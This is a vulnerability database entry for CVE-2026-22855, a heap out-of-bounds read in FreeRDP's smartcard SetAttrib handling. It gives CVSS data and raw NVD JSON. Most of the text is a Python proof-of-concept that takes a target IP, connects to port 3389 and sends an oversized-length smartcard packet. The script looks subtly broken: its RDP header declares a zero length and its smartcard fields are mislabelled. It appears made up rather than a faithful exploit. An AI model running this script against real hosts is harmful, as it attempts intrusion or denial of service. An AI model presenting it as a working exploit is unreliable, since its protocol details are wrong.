Security Vulnerability Report
中文
CVE-2026-22855 CVSS 9.1 CRITICAL

CVE-2026-22855

Published: 2026-01-14 18:16:43
Last Modified: 2026-01-20 18:36:36

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a heap out-of-bounds read occurs in the smartcard SetAttrib path when cbAttrLen does not match the actual NDR buffer length. This vulnerability is fixed in 3.20.1.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22855 PoC - FreeRDP Smart Card SetAttrib Heap Out-of-Bounds Read # This PoC demonstrates the vulnerability in FreeRDP's smartcard handling import struct import socket def create_malformed_scard_packet(): """Create a malicious SCARD packet with mismatched cbAttrLen""" # SCARD_IO_REQUEST header protocol = 0x00000002 # SCARD_PROTOCOL_Tx max_protocol = 0x00000003 # SCARD_PROTOCOL_T1 # Malformed SetAttrib request msg_type = 0x6C # SCARD_MINIMUM_CHANNEL # cbAttrLen mismatched with actual buffer size cbAttrLen = 0xFFFFFFFF # Intentionally large value # Actual buffer is much smaller actual_buffer = b'\x00' * 16 # Construct the packet packet = struct.pack('<III', protocol, max_protocol, msg_type) packet += struct.pack('<I', cbAttrLen) # Mismatched length packet += actual_buffer return packet def exploit_freerdp(target_ip, target_port=3389): """Establish RDP connection and send malicious smartcard packet""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) try: sock.connect((target_ip, target_port)) # Send RDP connection request rdp_negotiate = b'\x03\x00\x00\x00\x08\x02\x00\x02\x00\x00\x00' sock.send(rdp_negotiate) # Send malicious smartcard packet scard_packet = create_malformed_scard_packet() sock.send(scard_packet) # Receive response response = sock.recv(4096) return True except Exception as e: print(f"Exploitation attempt failed: {e}") return False finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2026-22855-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting {target}") print("[*] Sending malformed smartcard packet...") exploit_freerdp(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22855", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:43.080", "lastModified": "2026-01-20T18:36:35.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a heap out-of-bounds read occurs in the smartcard SetAttrib path when cbAttrLen does not match the actual NDR buffer length. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la 3.20.1, ocurre una lectura fuera de límites de la pila en la ruta SetAttrib de la tarjeta inteligente cuando cbAttrLen no coincide con la longitud real del búfer NDR. Esta vulnerabilidad está corregida en la 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-rwp3-g84r-6mx9", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}